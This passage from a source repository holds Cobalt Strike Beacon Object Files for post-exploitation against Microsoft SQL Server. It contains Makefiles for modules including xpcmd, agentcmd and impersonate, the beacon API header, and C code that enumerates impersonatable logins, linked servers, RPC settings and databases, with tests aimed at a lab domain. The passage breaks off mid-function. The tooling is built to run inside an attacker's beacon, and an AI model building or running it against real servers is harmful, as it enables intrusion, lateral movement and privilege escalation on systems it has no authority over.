$(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/whoami/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := whoami 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/xpcmd/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := xpcmd 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/agentcmd/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := agentcmd 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/checkrpc/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := checkrpc 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/databases/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := databases 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/agentstatus/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := agentstatus 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/impersonate/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := impersonate 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/togglemodule/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := togglemodule 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/base_template/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := YOUNAMEHERE 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/impersonate/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckImpersonate(char* server, char* database) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLRETURN ret; 11 | 12 | 13 | SQLHDBC dbc = ConnectToSqlServer(&env, server, database); 14 | 15 | if (dbc == NULL) 16 | { 17 | goto END; 18 | } 19 | 20 | internal_printf("[*] Enumerating users that can be impersonated on %s\n\n", server); 21 | 22 | // 23 | // allocate statement handle 24 | // 25 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 26 | if (!SQL_SUCCEEDED(ret)) { 27 | internal_printf("[!] Error allocating statement handle\n"); 28 | goto END; 29 | } 30 | 31 | // 32 | // Run the query 33 | // 34 | SQLCHAR* query = (SQLCHAR*)"SELECT distinct b.name FROM sys.server_permissions a " 35 | "INNER JOIN sys.server_principals b ON a.grantor_principal_id " 36 | "= b.principal_id WHERE a.permission_name = 'IMPERSONATE';"; 37 | if (!ExecuteQuery(stmt, query)) 38 | { 39 | goto END; 40 | } 41 | PrintQueryResults(stmt, TRUE); 42 | 43 | END: 44 | ODBC32$SQLCloseCursor(stmt); 45 | DisconnectSqlServer(env, dbc, stmt); 46 | } 47 | 48 | 49 | #ifdef BOF 50 | VOID go( 51 | IN PCHAR Buffer, 52 | IN ULONG Length 53 | ) 54 | { 55 | char* server = NULL; 56 | char* database = NULL; 57 | 58 | // 59 | // parse beacon args 60 | // 61 | datap parser; 62 | BeaconDataParse(&parser, Buffer, Length); 63 | 64 | server = BeaconDataExtract(&parser, NULL); 65 | database = BeaconDataExtract(&parser, NULL); 66 | 67 | server = *server == 0 ? "localhost" : server; 68 | database = *database == 0 ? "master" : database; 69 | 70 | if(!bofstart()) 71 | { 72 | return; 73 | } 74 | 75 | CheckImpersonate(server, database); 76 | 77 | printoutput(TRUE); 78 | }; 79 | 80 | #else 81 | 82 | int main() 83 | { 84 | internal_printf("============ BASE TEST ============\n\n"); 85 | CheckImpersonate("castelblack.north.sevenkingdoms.local", "master"); 86 | } 87 | 88 | #endif 89 | -------------------------------------------------------------------------------- /src/SQL/links/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckLinks(char* server, char* database, char* link, char* impersonate) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | 12 | 13 | if (link == NULL) 14 | { 15 | dbc = ConnectToSqlServer(&env, server, database); 16 | } 17 | else 18 | { 19 | dbc = ConnectToSqlServer(&env, server, NULL); 20 | } 21 | 22 | if (dbc == NULL) { 23 | goto END; 24 | } 25 | 26 | if (link == NULL) 27 | { 28 | internal_printf("[*] Enumerating linked servers on %s\n\n", server); 29 | } 30 | else 31 | { 32 | internal_printf("[*] Enumerating linked servers on %s via %s\n\n", link, server); 33 | } 34 | 35 | 36 | // 37 | // allocate statement handle 38 | // 39 | ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 40 | 41 | // 42 | // Run the query 43 | // 44 | SQLCHAR* query = (SQLCHAR*)"SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;"; 45 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)){ 46 | goto END; 47 | } 48 | PrintQueryResults(stmt, TRUE); 49 | 50 | END: 51 | ODBC32$SQLCloseCursor(stmt); 52 | DisconnectSqlServer(env, dbc, stmt); 53 | } 54 | 55 | 56 | #ifdef BOF 57 | VOID go( 58 | IN PCHAR Buffer, 59 | IN ULONG Length 60 | ) 61 | { 62 | char* server; 63 | char* database; 64 | char* link; 65 | char* impersonate; 66 | 67 | // 68 | // parse beacon args 69 | // 70 | datap parser; 71 | BeaconDataParse(&parser, Buffer, Length); 72 | 73 | server = BeaconDataExtract(&parser, NULL); 74 | database = BeaconDataExtract(&parser, NULL); 75 | link = BeaconDataExtract(&parser, NULL); 76 | impersonate = BeaconDataExtract(&parser, NULL); 77 | 78 | server = *server == 0 ? "localhost" : server; 79 | database = *database == 0 ? "master" : database; 80 | link = *link == 0 ? NULL : link; 81 | impersonate = *impersonate == 0 ? NULL : impersonate; 82 | 83 | if(!bofstart()) 84 | { 85 | return; 86 | } 87 | 88 | if (UsingLinkAndImpersonate(link, impersonate)) 89 | { 90 | return; 91 | } 92 | 93 | CheckLinks(server, database, link, impersonate); 94 | 95 | printoutput(TRUE); 96 | }; 97 | 98 | #else 99 | 100 | int main() 101 | { 102 | internal_printf("============ BASE TEST ============\n\n"); 103 | CheckLinks("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 104 | 105 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 106 | CheckLinks("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 107 | 108 | internal_printf("\n\n============ LINK TEST ============\n\n"); 109 | CheckLinks("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 110 | } 111 | 112 | #endif 113 | -------------------------------------------------------------------------------- /src/common/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | #pragma once 12 | 13 | #ifdef BOF 14 | typedef struct { 15 | char * original; /* the original buffer [so we can free it] */ 16 | char * buffer; /* current pointer into our buffer */ 17 | int length; /* remaining length of data */ 18 | int size; /* total size of this buffer */ 19 | } datap; 20 | 21 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 22 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 23 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 24 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 25 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 26 | 27 | /* format API */ 28 | typedef struct { 29 | char * original; /* the original buffer [so we can free it] */ 30 | char * buffer; /* current pointer into our buffer */ 31 | int length; /* remaining length of data */ 32 | int size; /* total size of this buffer */ 33 | } formatp; 34 | 35 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 36 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 38 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 39 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 40 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 41 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 42 | 43 | /* Output Functions */ 44 | #define CALLBACK_OUTPUT 0x0 45 | #define CALLBACK_OUTPUT_OEM 0x1e 46 | #define CALLBACK_ERROR 0x0d 47 | #define CALLBACK_OUTPUT_UTF8 0x20 48 | 49 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 50 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 51 | 52 | /* Token Functions */ 53 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 54 | DECLSPEC_IMPORT void BeaconRevertToken(); 55 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 56 | 57 | /* Spawn+Inject Functions */ 58 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 59 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 61 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 62 | 63 | /* Utility Functions */ 64 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 65 | #endif 66 | -------------------------------------------------------------------------------- /src/SQL/checkrpc/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckRpc(char* server, char* database, char* link, char* impersonate) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | SQLRETURN ret; 12 | 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | if (dbc == NULL) { 24 | goto END; 25 | } 26 | 27 | if (link == NULL) 28 | { 29 | internal_printf("[*] Enumerating RPC status of linked servers on %s\n\n", server); 30 | } 31 | else 32 | { 33 | internal_printf("[*] Enumerating RPC status of linked servers on %s via %s\n\n", link, server); 34 | } 35 | 36 | 37 | // 38 | // allocate statement handle 39 | // 40 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 41 | if (!SQL_SUCCEEDED(ret)) { 42 | internal_printf("[!] Error allocating statement handle\n"); 43 | goto END; 44 | } 45 | 46 | // 47 | // Run the query 48 | // 49 | SQLCHAR* query = (SQLCHAR*)"SELECT name, is_rpc_out_enabled FROM sys.servers"; 50 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 51 | goto END; 52 | } 53 | PrintQueryResults(stmt, TRUE); 54 | 55 | END: 56 | ODBC32$SQLCloseCursor(stmt); 57 | DisconnectSqlServer(env, dbc, stmt); 58 | } 59 | 60 | 61 | #ifdef BOF 62 | VOID go( 63 | IN PCHAR Buffer, 64 | IN ULONG Length 65 | ) 66 | { 67 | char* server; 68 | char* database; 69 | char* link; 70 | char* impersonate; 71 | 72 | // 73 | // parse beacon args 74 | // 75 | datap parser; 76 | BeaconDataParse(&parser, Buffer, Length); 77 | 78 | server = BeaconDataExtract(&parser, NULL); 79 | database = BeaconDataExtract(&parser, NULL); 80 | link = BeaconDataExtract(&parser, NULL); 81 | impersonate = BeaconDataExtract(&parser, NULL); 82 | 83 | server = *server == 0 ? "localhost" : server; 84 | database = *database == 0 ? "master" : database; 85 | link = *link == 0 ? NULL : link; 86 | impersonate = *impersonate == 0 ? NULL : impersonate; 87 | 88 | if(!bofstart()) 89 | { 90 | return; 91 | } 92 | 93 | if (UsingLinkAndImpersonate(link, impersonate)) 94 | { 95 | return; 96 | } 97 | 98 | CheckRpc(server, database, link, impersonate); 99 | 100 | printoutput(TRUE); 101 | }; 102 | 103 | #else 104 | 105 | int main() 106 | { 107 | internal_printf("============ BASE TEST ============\n\n"); 108 | CheckRpc("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 109 | 110 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 111 | CheckRpc("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 112 | 113 | internal_printf("\n\n============ LINK TEST ============\n\n"); 114 | CheckRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 115 | } 116 | 117 | #endif 118 | -------------------------------------------------------------------------------- /src/SQL/databases/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckDatabases(char* server, char* database, char* link, char* impersonate) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | SQLRETURN ret; 12 | 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | if (dbc == NULL) { 24 | goto END; 25 | } 26 | 27 | if (link == NULL) 28 | { 29 | internal_printf("[*] Enumerating databases on %s\n\n", server); 30 | } 31 | else 32 | { 33 | internal_printf("[*] Enumerating databases on %s via %s\n\n", link, server); 34 | } 35 | 36 | 37 | // 38 | // allocate statement handle 39 | // 40 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 41 | if (!SQL_SUCCEEDED(ret)) { 42 | internal_printf("[!] SQLAllocHandle failed\n"); 43 | goto END; 44 | } 45 | 46 | // 47 | // Run the query 48 | // 49 | SQLCHAR* query = (SQLCHAR*)"SELECT sd.dbid, sd.name, SUSER_SNAME(sd.sid) AS db_owner, d.is_trustworthy_on, sd.crdate, sd.filename " 50 | "FROM master.dbo.sysdatabases sd " 51 | "LEFT JOIN sys.databases d ON sd.dbid = d.database_id;"; 52 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 53 | goto END; 54 | } 55 | PrintQueryResults(stmt, TRUE); 56 | 57 | END: 58 | ODBC32$SQLCloseCursor(stmt); 59 | DisconnectSqlServer(env, dbc, stmt); 60 | } 61 | 62 | 63 | #ifdef BOF 64 | VOID go( 65 | IN PCHAR Buffer, 66 | IN ULONG Length 67 | ) 68 | { 69 | char* server; 70 | char* database; 71 | char* link; 72 | char* impersonate; 73 | 74 | // 75 | // parse beacon args 76 | // 77 | datap parser; 78 | BeaconDataParse(&parser, Buffer, Length); 79 | 80 | server = BeaconDataExtract(&parser, NULL); 81 | database = BeaconDataExtract(&parser, NULL); 82 | link = BeaconDataExtract(&parser, NULL); 83 | impersonate = BeaconDataExtract(&parser, NULL); 84 | 85 | server = *server == 0 ? "localhost" : server; 86 | database = *database == 0 ? "master" : database; 87 | link = *link == 0 ? NULL : link; 88 | impersonate = *impersonate == 0 ? NULL : impersonate; 89 | 90 | if(!bofstart()) 91 | { 92 | return; 93 | } 94 | 95 | if (UsingLinkAndImpersonate(link, impersonate)) 96 | { 97 | return; 98 | } 99 | 100 | CheckDatabases(server, database, link, impersonate); 101 | 102 | printoutput(TRUE); 103 | }; 104 | 105 | #else 106 | 107 | int main() 108 | { 109 | internal_printf("============ BASE TEST ============\n\n"); 110 | CheckDatabases("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 111 | 112 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 113 | CheckDatabases("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 114 | 115 | internal_printf("\n\n============ LINK TEST ============\n\n"); 116 | CheckDatabases("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 117 | } 118 | 119 | #endif 120 | -------------------------------------------------------------------------------- /src/SQL/query/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CustomQuery(char* server, char* database, char* link, char* impersonate, char* query) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | SQLRETURN ret; 12 | 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | if (dbc == NULL) { 24 | goto 